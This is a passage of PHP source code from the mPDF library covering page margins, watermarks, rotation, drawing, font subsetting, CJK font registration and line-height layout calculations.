($this->HTMLHeader === '' && $this->HTMLHeaderE === '') { return; } if ($this->setAutoTopMargin == 'pad') { if (isset($htmlh['h']) && $htmlh['h']) { $h = $htmlh['h']; } // 5.7.3 else { $h = 0; } $this->tMargin = $this->margin_header + $h + $this->orig_tMargin; } elseif ($this->setAutoTopMargin == 'stretch') { if (isset($htmlh['h']) && $htmlh['h']) { $h = $htmlh['h']; } // 5.7.3 else { $h = 0; } $this->tMargin = max($this->orig_tMargin, $this->margin_header + $h + $this->autoMarginPadding); } } // mPDF 6 function _setAutoFooterHeight(&$htmlf) { /* When the setAutoTopMargin option is set to pad/stretch, only apply auto footer height when a footer exists */ if ($this->HTMLFooter === '' && $this->HTMLFooterE === '') { return; } if ($this->setAutoBottomMargin == 'pad') { if (isset($htmlf['h']) && $htmlf['h']) { $h = $htmlf['h']; } // 5.7.3 else { $h = 0; } $this->bMargin = $this->margin_footer + $h + $this->orig_bMargin; $this->PageBreakTrigger = $this->h - $this->bMargin; } elseif ($this->setAutoBottomMargin == 'stretch') { if (isset($htmlf['h']) && $htmlf['h']) { $h = $htmlf['h']; } // 5.7.3 else { $h = 0; } $this->bMargin = max($this->orig_bMargin, $this->margin_footer + $h + $this->autoMarginPadding); $this->PageBreakTrigger = $this->h - $this->bMargin; } } function _endpage() { /* -- CSS-IMAGE-FLOAT -- */ $this->printfloatbuffer(); /* -- END CSS-IMAGE-FLOAT -- */ if ($this->visibility != 'visible') { $this->SetVisibility('visible'); } $this->EndLayer(); // End of page contents $this->state = 1; } function _dounderline($x, $y, $txt, $OTLdata = false, $textvar = 0) { // Now print line exactly where $y secifies - called from Text() and Cell() - adjust position there // WORD SPACING $w = ($this->GetStringWidth($txt, false, $OTLdata, $textvar) * Mpdf::SCALE) + ($this->charspacing * mb_strlen($txt, $this->mb_enc)) + ( $this->ws * mb_substr_count($txt, ' ', $this->mb_enc)); // Draw a line return sprintf('%.3F %.3F m %.3F %.3F l S', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, ($x * Mpdf::SCALE) + $w, ($this->h - $y) * Mpdf::SCALE); } /* -- WATERMARK -- */ // add a watermark function watermark($texte, $angle = 45, $fontsize = 96, $alpha = 0.2) { if ($this->PDFA || $this->PDFX) { throw new \Mpdf\MpdfException('PDFA and PDFX do not permit transparency, so mPDF does not allow Watermarks!'); } if (!$this->watermark_font) { $this->watermark_font = $this->default_font; } $this->SetFont($this->watermark_font, "B", $fontsize, false); // Don't output $texte = $this->purify_utf8_text($texte); if ($this->text_input_as_HTML) { $texte = $this->all_entities_to_utf8($texte); } if ($this->usingCoreFont) { $texte = mb_convert_encoding($texte, $this->mb_enc, 'UTF-8'); } // DIRECTIONALITY if (preg_match("/([" . $this->pregRTLchars . "])/u", $texte)) { $this->biDirectional = true; } // *OTL* $textvar = 0; $save_OTLtags = $this->OTLtags; $this->OTLtags = []; if ($this->useKerning) { if ($this->CurrentFont['haskernGPOS']) { $this->OTLtags['Plus'] .= ' kern'; } else { $textvar = ($textvar | TextVars::FC_KERNING); } } /* -- OTL -- */ // Use OTL OpenType Table Layout - GSUB & GPOS if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $texte = $this->otl->applyOTL($texte, $this->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } /* -- END OTL -- */ $this->OTLtags = $save_OTLtags; $this->magic_reverse_dir($texte, $this->directionality, $OTLdata); $this->SetAlpha($alpha); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $szfont = $fontsize; $loop = 0; $maxlen = (min($this->w, $this->h) ); // sets max length of text as 7/8 width/height of page while ($loop == 0) { $this->SetFont($this->watermark_font, "B", $szfont, false); // Don't output $offset = ((sin(deg2rad($angle))) * ($szfont / Mpdf::SCALE)); $strlen = $this->GetStringWidth($texte, true, $OTLdata, $textvar); if ($strlen > $maxlen - $offset) { $szfont --; } else { $loop ++; } } $this->SetFont($this->watermark_font, "B", $szfont - 0.1, true, true); // Output The -0.1 is because SetFont above is not written to PDF // Repeating it will not output anything as mPDF thinks it is set $adj = ((cos(deg2rad($angle))) * ($strlen / 2)); $opp = ((sin(deg2rad($angle))) * ($strlen / 2)); $wx = ($this->w / 2) - $adj + $offset / 3; $wy = ($this->h / 2) + $opp; $this->Rotate($angle, $wx, $wy); $this->Text($wx, $wy, $texte, $OTLdata, $textvar); $this->Rotate(0); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetAlpha(1); } function watermarkImg($src, $alpha = 0.2) { if ($this->PDFA || $this->PDFX) { throw new \Mpdf\MpdfException('PDFA and PDFX do not permit transparency, so mPDF does not allow Watermarks!'); } if ($this->watermarkImgBehind) { $this->watermarkImgAlpha = $this->SetAlpha($alpha, 'Normal', true); } else { $this->SetAlpha($alpha, $this->watermarkImgAlphaBlend); } $this->Image($src, 0, 0, 0, 0, '', '', true, true, true); if (!$this->watermarkImgBehind) { $this->SetAlpha(1); } } /* -- END WATERMARK -- */ function Rotate($angle, $x = -1, $y = -1) { if ($x == -1) { $x = $this->x; } if ($y == -1) { $y = $this->y; } if ($this->angle != 0) { $this->writer->write('Q'); } $this->angle = $angle; if ($angle != 0) { $angle*=M_PI / 180; $c = cos($angle); $s = sin($angle); $cx = $x * Mpdf::SCALE; $cy = ($this->h - $y) * Mpdf::SCALE; $this->writer->write(sprintf('q %.5F %.5F %.5F %.5F %.3F %.3F cm 1 0 0 1 %.3F %.3F cm', $c, $s, -$s, $c, $cx, $cy, -$cx, -$cy)); } } function CircularText($x, $y, $r, $text, $align = 'top', $fontfamily = '', $fontsize = 0, $fontstyle = '', $kerning = 120, $fontwidth = 100, $divider = '') { if (empty($this->directWrite)) { $this->directWrite = new DirectWrite($this, $this->otl, $this->sizeConverter, $this->colorConverter); } $this->directWrite->CircularText($x, $y, $r, $text, $align, $fontfamily, $fontsize, $fontstyle, $kerning, $fontwidth, $divider); } // From Invoice function RoundedRect($x, $y, $w, $h, $r, $style = '') { $hp = $this->h; if ($style == 'F') { $op = 'f'; } elseif ($style == 'FD' or $style == 'DF') { $op = 'B'; } else { $op = 'S'; } $MyArc = 4 / 3 * (sqrt(2) - 1); $this->writer->write(sprintf('%.3F %.3F m', ($x + $r) * Mpdf::SCALE, ($hp - $y) * Mpdf::SCALE)); $xc = $x + $w - $r; $yc = $y + $r; $this->writer->write(sprintf('%.3F %.3F l', $xc * Mpdf::SCALE, ($hp - $y) * Mpdf::SCALE)); $this->_Arc($xc + $r * $MyArc, $yc - $r, $xc + $r, $yc - $r * $MyArc, $xc + $r, $yc); $xc = $x + $w - $r; $yc = $y + $h - $r; $this->writer->write(sprintf('%.3F %.3F l', ($x + $w) * Mpdf::SCALE, ($hp - $yc) * Mpdf::SCALE)); $this->_Arc($xc + $r, $yc + $r * $MyArc, $xc + $r * $MyArc, $yc + $r, $xc, $yc + $r); $xc = $x + $r; $yc = $y + $h - $r; $this->writer->write(sprintf('%.3F %.3F l', $xc * Mpdf::SCALE, ($hp - ($y + $h)) * Mpdf::SCALE)); $this->_Arc($xc - $r * $MyArc, $yc + $r, $xc - $r, $yc + $r * $MyArc, $xc - $r, $yc); $xc = $x + $r; $yc = $y + $r; $this->writer->write(sprintf('%.3F %.3F l', ($x) * Mpdf::SCALE, ($hp - $yc) * Mpdf::SCALE)); $this->_Arc($xc - $r, $yc - $r * $MyArc, $xc - $r * $MyArc, $yc - $r, $xc, $yc - $r); $this->writer->write($op); } function _Arc($x1, $y1, $x2, $y2, $x3, $y3) { $h = $this->h; $this->writer->write(sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', $x1 * Mpdf::SCALE, ($h - $y1) * Mpdf::SCALE, $x2 * Mpdf::SCALE, ($h - $y2) * Mpdf::SCALE, $x3 * Mpdf::SCALE, ($h - $y3) * Mpdf::SCALE)); } // ==================================================== /* -- DIRECTW -- */ function Shaded_box($text, $font = '', $fontstyle = 'B', $szfont = '', $width = '70%', $style = 'DF', $radius = 2.5, $fill = '#FFFFFF', $color = '#000000', $pad = 2) { // F (shading - no line),S (line, no shading),DF (both) if (empty($this->directWrite)) { $this->directWrite = new DirectWrite($this, $this->otl, $this->sizeConverter, $this->colorConverter); } $this->directWrite->Shaded_box($text, $font, $fontstyle, $szfont, $width, $style, $radius, $fill, $color, $pad); } /* -- END DIRECTW -- */ function UTF8StringToArray($str, $addSubset = true) { $out = []; $len = strlen($str); for ($i = 0; $i < $len; $i++) { $uni = -1; $h = ord($str[$i]); if ($h <= 0x7F) { $uni = $h; } elseif ($h >= 0xC2) { if (($h <= 0xDF) && ($i < $len - 1)) { $uni = ($h & 0x1F) << 6 | (ord($str[++$i]) & 0x3F); } elseif (($h <= 0xEF) && ($i < $len - 2)) { $uni = ($h & 0x0F) << 12 | (ord($str[++$i]) & 0x3F) << 6 | (ord($str[++$i]) & 0x3F); } elseif (($h <= 0xF4) && ($i < $len - 3)) { $uni = ($h & 0x0F) << 18 | (ord($str[++$i]) & 0x3F) << 12 | (ord($str[++$i]) & 0x3F) << 6 | (ord($str[++$i]) & 0x3F); } } if ($uni >= 0) { $out[] = $uni; if ($addSubset && isset($this->CurrentFont['subset'])) { $this->CurrentFont['subset'][$uni] = $uni; } } } return $out; } // Convert utf-8 string to for Font Subsets function UTF8toSubset($str) { $ret = '<'; // $str = preg_replace('/'.preg_quote($this->aliasNbPg,'/').'/', chr(7), $str ); // mPDF 6 deleted // $str = preg_replace('/'.preg_quote($this->aliasNbPgGp,'/').'/', chr(8), $str ); // mPDF 6 deleted $unicode = $this->UTF8StringToArray($str); $orig_fid = $this->CurrentFont['subsetfontids'][0]; $last_fid = $this->CurrentFont['subsetfontids'][0]; foreach ($unicode as $c) { /* // mPDF 6 deleted if ($c == 7 || $c == 8) { if ($orig_fid != $last_fid) { $ret .= '> Tj /F'.$orig_fid.' '.$this->FontSizePt.' Tf <'; $last_fid = $orig_fid; } if ($c == 7) { $ret .= $this->aliasNbPgHex; } else { $ret .= $this->aliasNbPgGpHex; } continue; } */ if (!$this->_charDefined($this->CurrentFont['cw'], $c)) { $c = 0; } // mPDF 6 for ($i = 0; $i < 99; $i++) { // return c as decimal char $init = array_search($c, $this->CurrentFont['subsets'][$i]); if ($init !== false) { if ($this->CurrentFont['subsetfontids'][$i] != $last_fid) { $ret .= '> Tj /F' . $this->CurrentFont['subsetfontids'][$i] . ' ' . $this->FontSizePt . ' Tf <'; $last_fid = $this->CurrentFont['subsetfontids'][$i]; } $ret .= sprintf("%02s", strtoupper(dechex($init))); break; } // TrueType embedded SUBSETS elseif (count($this->CurrentFont['subsets'][$i]) < 255) { $n = count($this->CurrentFont['subsets'][$i]); $this->CurrentFont['subsets'][$i][$n] = $c; if ($this->CurrentFont['subsetfontids'][$i] != $last_fid) { $ret .= '> Tj /F' . $this->CurrentFont['subsetfontids'][$i] . ' ' . $this->FontSizePt . ' Tf <'; $last_fid = $this->CurrentFont['subsetfontids'][$i]; } $ret .= sprintf("%02s", strtoupper(dechex($n))); break; } elseif (!isset($this->CurrentFont['subsets'][($i + 1)])) { // TrueType embedded SUBSETS $this->CurrentFont['subsets'][($i + 1)] = [0 => 0]; $new_fid = count($this->fonts) + $this->extraFontSubsets + 1; $this->CurrentFont['subsetfontids'][($i + 1)] = $new_fid; $this->extraFontSubsets++; } } } $ret .= '>'; if ($last_fid != $orig_fid) { $ret .= ' Tj /F' . $orig_fid . ' ' . $this->FontSizePt . ' Tf <> '; } return $ret; } /* -- CJK-FONTS -- */ // from class PDF_Chinese CJK EXTENSIONS function AddCIDFont($family, $style, $name, &$cw, $CMap, $registry, $desc) { $fontkey = strtolower($family) . strtoupper($style); if (isset($this->fonts[$fontkey])) { throw new \Mpdf\MpdfException("Font already added: $family $style"); } $i = count($this->fonts) + $this->extraFontSubsets + 1; $name = str_replace(' ', '', $name); if ($family == 'sjis') { $up = -120; } else { $up = -130; } // ? 'up' and 'ut' do not seem to be referenced anywhere $this->fonts[$fontkey] = ['i' => $i, 'type' => 'Type0', 'name' => $name, 'up' => $up, 'ut' => 40, 'cw' => $cw, 'CMap' => $CMap, 'registry' => $registry, 'MissingWidth' => 1000, 'desc' => $desc]; } function AddCJKFont($family) { if ($this->PDFA || $this->PDFX) { throw new \Mpdf\MpdfException("Adobe CJK fonts cannot be embedded in mPDF (required for PDFA1-b and PDFX/1-a)."); } if ($family == 'big5') { $this->AddBig5Font(); } elseif ($family == 'gb') { $this->AddGBFont(); } elseif ($family == 'sjis') { $this->AddSJISFont(); } elseif ($family == 'uhc') { $this->AddUHCFont(); } } function AddBig5Font() { // Add Big5 font with proportional Latin $family = 'big5'; $name = 'MSungStd-Light-Acro'; $cw = $this->Big5_widths; $CMap = 'UniCNS-UTF16-H'; $registry = ['ordering' => 'CNS1', 'supplement' => 4]; $desc = [ 'Ascent' => 880, 'Descent' => -120, 'CapHeight' => 880, 'Flags' => 6, 'FontBBox' => '[-160 -249 1015 1071]', 'ItalicAngle' => 0, 'StemV' => 93, ]; $this->AddCIDFont($family, '', $name, $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'B', $name . ',Bold', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'I', $name . ',Italic', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'BI', $name . ',BoldItalic', $cw, $CMap, $registry, $desc); } function AddGBFont() { // Add GB font with proportional Latin $family = 'gb'; $name = 'STSongStd-Light-Acro'; $cw = $this->GB_widths; $CMap = 'UniGB-UTF16-H'; $registry = ['ordering' => 'GB1', 'supplement' => 4]; $desc = [ 'Ascent' => 880, 'Descent' => -120, 'CapHeight' => 737, 'Flags' => 6, 'FontBBox' => '[-25 -254 1000 880]', 'ItalicAngle' => 0, 'StemV' => 58, 'Style' => '<< /Panose <000000000400000000000000> >>', ]; $this->AddCIDFont($family, '', $name, $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'B', $name . ',Bold', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'I', $name . ',Italic', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'BI', $name . ',BoldItalic', $cw, $CMap, $registry, $desc); } function AddSJISFont() { // Add SJIS font with proportional Latin $family = 'sjis'; $name = 'KozMinPro-Regular-Acro'; $cw = $this->SJIS_widths; $CMap = 'UniJIS-UTF16-H'; $registry = ['ordering' => 'Japan1', 'supplement' => 5]; $desc = [ 'Ascent' => 880, 'Descent' => -120, 'CapHeight' => 740, 'Flags' => 6, 'FontBBox' => '[-195 -272 1110 1075]', 'ItalicAngle' => 0, 'StemV' => 86, 'XHeight' => 502, ]; $this->AddCIDFont($family, '', $name, $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'B', $name . ',Bold', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'I', $name . ',Italic', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'BI', $name . ',BoldItalic', $cw, $CMap, $registry, $desc); } function AddUHCFont() { // Add UHC font with proportional Latin $family = 'uhc'; $name = 'HYSMyeongJoStd-Medium-Acro'; $cw = $this->UHC_widths; $CMap = 'UniKS-UTF16-H'; $registry = ['ordering' => 'Korea1', 'supplement' => 2]; $desc = [ 'Ascent' => 880, 'Descent' => -120, 'CapHeight' => 720, 'Flags' => 6, 'FontBBox' => '[-28 -148 1001 880]', 'ItalicAngle' => 0, 'StemV' => 60, 'Style' => '<< /Panose <000000000600000000000000> >>', ]; $this->AddCIDFont($family, '', $name, $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'B', $name . ',Bold', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'I', $name . ',Italic', $cw, $CMap, $registry, $desc); $this->AddCIDFont($family, 'BI', $name . ',BoldItalic', $cw, $CMap, $registry, $desc); } /* -- END CJK-FONTS -- */ ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// function SetDefaultFont($font) { // Disallow embedded fonts to be used as defaults in PDFA if ($this->PDFA || $this->PDFX) { if (strtolower($font) == 'ctimes') { $font = 'serif'; } if (strtolower($font) == 'ccourier') { $font = 'monospace'; } if (strtolower($font) == 'chelvetica') { $font = 'sans-serif'; } } $font = $this->SetFont($font); // returns substituted font if necessary $this->default_font = $font; $this->original_default_font = $font; if (!$this->watermark_font) { $this->watermark_font = $font; } // *WATERMARK* $this->defaultCSS['BODY']['FONT-FAMILY'] = $font; $this->cssManager->CSS['BODY']['FONT-FAMILY'] = $font; } function SetDefaultFontSize($fontsize) { $this->default_font_size = $fontsize; $this->original_default_font_size = $fontsize; $this->SetFontSize($fontsize); $this->defaultCSS['BODY']['FONT-SIZE'] = $fontsize . 'pt'; $this->cssManager->CSS['BODY']['FONT-SIZE'] = $fontsize . 'pt'; } function SetDefaultBodyCSS($prop, $val) { if ($prop) { $this->defaultCSS['BODY'][strtoupper($prop)] = $val; $this->cssManager->CSS['BODY'][strtoupper($prop)] = $val; } } function SetDirectionality($dir = 'ltr') { /* -- OTL -- */ if (strtolower($dir) == 'rtl') { if ($this->directionality != 'rtl') { // Swop L/R Margins so page 1 RTL is an 'even' page $tmp = $this->DeflMargin; $this->DeflMargin = $this->DefrMargin; $this->DefrMargin = $tmp; $this->orig_lMargin = $this->DeflMargin; $this->orig_rMargin = $this->DefrMargin; $this->SetMargins($this->DeflMargin, $this->DefrMargin, $this->tMargin); } $this->directionality = 'rtl'; $this->defaultAlign = 'R'; $this->defaultTableAlign = 'R'; } else { /* -- END OTL -- */ $this->directionality = 'ltr'; $this->defaultAlign = 'L'; $this->defaultTableAlign = 'L'; } // *OTL* $this->cssManager->CSS['BODY']['DIRECTION'] = $this->directionality; } // Return either a number (factor) - based on current set fontsize (if % or em) - or exact lineheight (with 'mm' after it) function fixLineheight($v) { $lh = false; if (preg_match('/^[0-9\.,]*$/', $v) && $v >= 0) { return ($v + 0); } elseif (strtoupper($v) == 'NORMAL' || $v == 'N') { return 'N'; // mPDF 6 } else { $tlh = $this->sizeConverter->convert($v, $this->FontSize, $this->FontSize, true); if ($tlh) { return ($tlh . 'mm'); } } return $this->normalLineheight; } function _getNormalLineheight($desc = false) { if (!$desc) { $desc = $this->CurrentFont['desc']; } if (!isset($desc['Leading'])) { $desc['Leading'] = 0; } if ($this->useFixedNormalLineHeight) { $lh = $this->normalLineheight; } elseif (isset($desc['Ascent']) && $desc['Ascent']) { $lh = ($this->adjustFontDescLineheight * ($desc['Ascent'] - $desc['Descent'] + $desc['Leading']) / 1000); } else { $lh = $this->normalLineheight; } return $lh; } // Set a (fixed) lineheight to an actual value - either to named fontsize(pts) or default function SetLineHeight($FontPt = '', $lh = '') { if (!$FontPt) { $FontPt = $this->FontSizePt; } $fs = $FontPt / Mpdf::SCALE; $this->lineheight = $this->_computeLineheight($lh, $fs); } function _computeLineheight($lh, $fs = '') { if ($this->shrin_k > 1) { $k = $this->shrin_k; } else { $k = 1; } if (!$fs) { $fs = $this->FontSize; } if ($lh == 'N') { $lh = $this->_getNormalLineheight(); } if (preg_match('/mm/', $lh)) { return (((float) $lh) / $k); // convert to number } elseif ($lh > 0) { return ($fs * $lh); } return ($fs * $this->normalLineheight); } function _setLineYpos(&$fontsize, &$fontdesc, &$CSSlineheight, $blockYpos = false) { $ypos['glyphYorigin'] = 0; $ypos['baseline-shift'] = 0; $linegap = 0; $leading = 0; if (isset($fontdesc['Ascent']) && $fontdesc['Ascent'] && !$this->useFixedTextBaseline) { // Fontsize uses font metrics - this method seems to produce results compatible with browsers (except IE9) $ypos['boxtop'] = $fontdesc['Ascent'] / 1000 * $fontsize; $ypos['boxbottom'] = $fontdesc['Descent'] / 1000 * $fontsize; if (isset($fontdesc['Leading'])) { $linegap = $fontdesc['Leading'] / 1000 * $fontsize; } } // Default if not set - uses baselineC else { $ypos['boxtop'] = (0.5 + $this->baselineC) * $fontsize; $ypos['boxbottom'] = -(0.5 - $this->baselineC) * $fontsize; } $fontheight = $ypos['boxtop'] - $ypos['boxbottom']; if ($this->shrin_k > 1) { $shrin_k = $this->shrin_k; } else { $shrin_k = 1; } $leading = 0; if ($CSSlineheight == 'N') { $lh = $this->_getNormalLineheight($fontdesc); $lineheight = ($fontsize * $lh); $leading += $linegap; // specified in hhea or sTypo in OpenType tables } elseif (preg_match('/mm/', $CSSlineheight)) { $lineheight = (((float) $CSSlineheight) / $shrin_k); // convert to number } // ??? If lineheight is a factor e.g. 1.3 ?? use factor x 1em or ? use 'normal' lineheight * factor // Could depend on value for $text_height - a draft CSS value as set above for now elseif ($CSSlineheight > 0) { $lineheight = ($fontsize * $CSSlineheight); } else { $lineheight = ($fontsize * $this->normalLineheight); } // In general, calculate the "leading" - the difference between the fontheight and the lineheight // and add half to the top and half to the bottom. BUT // If an inline element has a font-size less than the block element, and the line-height is set as an em or % value // it will add too much leading below the font and expand the height of the line - so just use the block element exttop/extbottom: if (preg_match('/mm/', $CSSlineheight) && ($blockYpos && $ypos['boxtop'] < $blockYpos['boxtop']) && ($blockYpos && $ypos['boxbottom'] > $blockYpos['boxbottom'])) { $ypos['exttop'] = $blockYpos['exttop']; $ypos['extbottom'] = $blockYpos['extbottom']; } else { $leading += ($lineheight - $fontheight); $ypos['exttop'] = $ypos['boxtop'] + $leading / 2; $ypos['extbottom'] = $ypos['boxbottom'] - $leading / 2; } // TEMP ONLY FOR DEBUGGING ********************************* // $ypos['lineheight'] = $lineheight; // $ypos['fontheight'] = $fontheight; // $ypos['leading'] = $leading; return $ypos; } /* Called from WriteFlowingBlock() and finishFlowingBlock() Determines the line hieght and glyph/writing position for each element in the line to be written */ function _setInlineBlockHeights(&$lineBox, &$stackHeight, &$content, &$font, $is_table) { if ($this->shrin_k > 1) { $shrin_k = $this->shrin_k; } else { $shrin_k = 1; } $ypos = []; $bordypos = []; $bgypos = []; if ($is_table) { // FOR TABLE $fontsize = $this->FontSize; $fontkey = $this->FontFamily . $this->FontStyle; $fontdesc = $this->fonts[$fontkey]['desc']; $CSSlineheight = $this->cellLineHeight; $line_stacking_strategy = $this->cellLineStackingStrategy; // inline-line-height [default] | block-line-height | max-height | grid-height $line_stacking_shift = $this->cellLineStackingShift; // consider-shifts [default] | disregard-shifts } else { // FOR BLOCK FONT $fontsize = $this->blk[$this->blklvl]['InlineProperties']['size']; $fontkey = $this->blk[$this->blklvl]['InlineProperties']['family'] . $this->blk[$this->blklvl]['InlineProperties']['style']; $fontdesc = $this->fonts[$fontkey]['desc']; $CSSlineheight = $this->blk[$this->blklvl]['line_height']; // inline-line-height | block-line-height | max-height | grid-height $line_stacking_strategy = (isset($this->blk[$this->blklvl]['line_stacking_strategy']) ? $this->blk[$this->blklvl]['line_stacking_strategy'] : 'inline-line-height'); // consider-shifts | disregard-shifts $line_stacking_shift = (isset($this->blk[$this->blklvl]['line_stacking_shift']) ? $this->blk[$this->blklvl]['line_stacking_shift'] : 'consider-shifts'); } $boxLineHeight = $this->_computeLineheight($CSSlineheight, $fontsize); // First, set a "strut" using block font at index $lineBox[-1] $ypos[-1] = $this->_setLineYpos($fontsize, $fontdesc, $CSSlineheight); // for the block element - always taking the block EXTENDED progression including leading - which may be negative if ($line_stacking_strategy == 'block-line-height') { $topy = $ypos[-1]['exttop']; $bottomy = $ypos[-1]['extbottom']; } else { $topy = 0; $bottomy = 0; } // Get text-middle for aligning images/objects $midpoint = $ypos[-1]['boxtop'] - (($ypos[-1]['boxtop'] - $ypos[-1]['boxbottom']) / 2); // for images / inline objects / replaced elements $mta = 0; // Maximum top-aligned $mba = 0; // Maximum bottom-aligned foreach ($content as $k => $chunk) { if (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]['type'] == 'listmarker') { $ypos[$k] = $ypos[-1]; // UPDATE Maximums if ($line_stacking_strategy == 'block-line-height' || $line_stacking_strategy == 'grid-height' || $line_stacking_strategy == 'max-height') { // don't include extended block progression of all inline elements if ($ypos[$k]['boxtop'] > $topy) { $topy = $ypos[$k]['boxtop']; } if ($ypos[$k]['boxbottom'] < $bottomy) { $bottomy = $ypos[$k]['boxbottom']; } } else { if ($ypos[$k]['exttop'] > $topy) { $topy = $ypos[$k]['exttop']; } if ($ypos[$k]['extbottom'] < $bottomy) { $bottomy = $ypos[$k]['extbottom']; } } } elseif (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]['type'] == 'dottab') { // mPDF 6 DOTTAB $fontsize = $font[$k]['size']; $fontdesc = $font[$k]['curr']['desc']; $lh = 1; $ypos[$k] = $this->_setLineYpos($fontsize, $fontdesc, $lh, $ypos[-1]); // Lineheight=1 fixed } elseif (isset($this->objectbuffer[$k])) { $oh = $this->objectbuffer[$k]['OUTER-HEIGHT']; $va = $this->objectbuffer[$k]['vertical-align']; if ($va == 'BS') { // (BASELINE default) if ($oh > $topy) { $topy = $oh; } } elseif ($va == 'M') { if (($midpoint + $oh / 2) > $topy) { $topy = $midpoint + $oh / 2; } if (($midpoint - $oh / 2) < $bottomy) { $bottomy = $midpoint - $oh / 2; } } elseif ($va == 'TT') { if (($ypos[-1]['boxtop'] - $oh) < $bottomy) { $bottomy = $ypos[-1]['boxtop'] - $oh; $topy = max($topy, $ypos[-1]['boxtop']); } } elseif ($va == 'TB') { if (($ypos[-1]['boxbottom'] + $oh) > $topy) { $topy = $ypos[-1]['boxbottom'] + $oh; $bottomy = min($bottomy, $ypos[-1]['boxbottom']); } } elseif ($va == 'T') { if ($oh > $mta) { $mta = $oh; } } elseif ($va == 'B') { if ($oh > $mba) { $mba = $oh; } } } elseif ($content[$k] || $content[$k] === '0') { // FOR FLOWING BLOCK $fontsize = $font[$k]['size']; $fontdesc = $font[$k]['curr']['desc']; // In future could set CSS line-height from inline elements; for now, use block level: $ypos[$k] = $this->_setLineYpos($fontsize, $fontdesc, $CSSlineheight, $ypos[-1]); if (isset($font[$k]['textparam']['text-baseline']) && $font[$k]['textparam']['text-baseline'] != 0) { $ypos[$k]['baseline-shift'] = $font[$k]['textparam']['text-baseline']; } // DO ALIGNMENT FOR BASELINES ******************* // Until most fonts have OpenType BASE tables, this won't work // $ypos[$k] compared to $ypos[-1] or $ypos[$k-1] using $dominant_baseline and $baseline_table // UPDATE Maximums if ($line_stacking_strategy == 'block-line-height' || $line_stacking_strategy == 'grid-height' || $line_stacking_strategy == 'max-height') { // don't include extended block progression of all inline elements if ($line_stacking_shift == 'disregard-shifts') { if ($ypos[$k]['boxtop'] > $topy) { $topy = $ypos[$k]['boxtop']; } if ($ypos[$k]['boxbottom'] < $bottomy) { $bottomy = $ypos[$k]['boxbottom']; } } else { if (($ypos[$k]['boxtop'] + $ypos[$k]['baseline-shift']) > $topy) { $topy = $ypos[$k]['boxtop'] + $ypos[$k]['baseline-shift']; } if (($ypos[$k]['boxbottom'] + $ypos[$k]['baseline-shift']) < $bottomy) { $bottomy = $ypos[$k]['boxbottom'] + $ypos[$k]['baseline-shift']; } } } else { if ($line_stacking_shift == 'disregard-shifts') { if ($ypos[$k]['exttop'] > $topy) { $topy = $ypos[$k]['exttop']; } if ($ypos[$k]['extbottom'] < $bottomy) { $bottomy = $ypos[$k]['extbottom']; } } else { if (($ypos[$k]['exttop'] + $ypos[$k]['baseline-shift']) > $topy) { $topy = $ypos[$k]['exttop'] + $ypos[$k]['baseline-shift']; } if (($ypos[$k]['extbottom'] + $ypos[$k]['baseline-shift']) < $bottomy) { $bottomy = $ypos[$k]['extbottom'] + $ypos[$k]['baseline-shift']; } } } // If BORDER set on inline element if (isset($font[$k]['bord']) && $font[$k]['bord']) { $bordfontsize = $font[$k]['textparam']['bord-decoration']['fontsize'] / $shrin_k; $bordfontkey = $font[$k]['textparam']['bord-decoration']['fontkey']; if ($bordfontkey != $fontkey || $bordfontsize != $fontsize || isset($font[$k]['textparam']['bord-decoration']['baseline'])) { $bordfontdesc = $this->fonts[$bordfontkey]['desc']; $bordypos[$k] = $this->_setLineYpos($bordfontsize, $bordfontdesc, $CSSlineheight, $ypos[-1]); if (isset($font[$k]['textparam']['bord-decoration']['baseline']) && $font[$k]['textparam']['bord-decoration']['baseline'] != 0) { $bordypos[$k]['baseline-shift'] = $font[$k]['textparam']['bord-decoration']['baseline'] / $shrin_k; } } } // If BACKGROUND set on inline element if (isset($font[$k]['spanbgcolor']) && $font[$k]['spanbgcolor']) { $bgfontsize = $font[$k]['textparam']['bg-decoration']['fontsize'] / $shrin_k; $bgfontkey = $font[$k]['textparam']['bg-decoration']['fontkey']; if ($bgfontkey != $fontkey || $bgfontsize != $fontsize || isset($font[$k]['textparam']['bg-decoration']['baseline'])) { $bgfontdesc = $this->fonts[$bgfontkey]['desc']; $bgypos[$k] = $this->_setLineYpos($bgfontsize, $bgfontdesc, $CSSlineheight, $ypos[-1]); if (isset($font[$k]['textparam']['bg-decoration']['baseline']) && $font[$k]['textparam']['bg-decoration']['baseline'] != 0) { $bgypos[$k]['baseline-shift'] = $font[$k]['textparam']['bg-decoration']['baseline'] / $shrin_k; } } } } } // TOP or BOTTOM aligned images if ($mta > ($topy - $bottomy)) { if (($topy - $mta) < $bottomy) { $bottomy = $topy - $mta; } } if ($mba > ($topy - $bottomy)) { if (($bottomy + $mba) > $topy) { $topy = $bottomy + $mba; } } if ($line_stacking_strategy == 'block-line-height') { // fixed height set by block element (whether present or not) $topy = $ypos[-1]['exttop']; $bottomy = $ypos[-1]['extbottom']; } $inclusiveHeight = $topy - $bottomy; // SET $stackHeight taking note of line_stacking_strategy // NB inclusive height already takes account of need to consider block progression height (excludes leading set by lineheight) // or extended block progression height (includes leading set by lineheight) if ($line_stacking_strategy == 'block-line-height') { // fixed = extended block 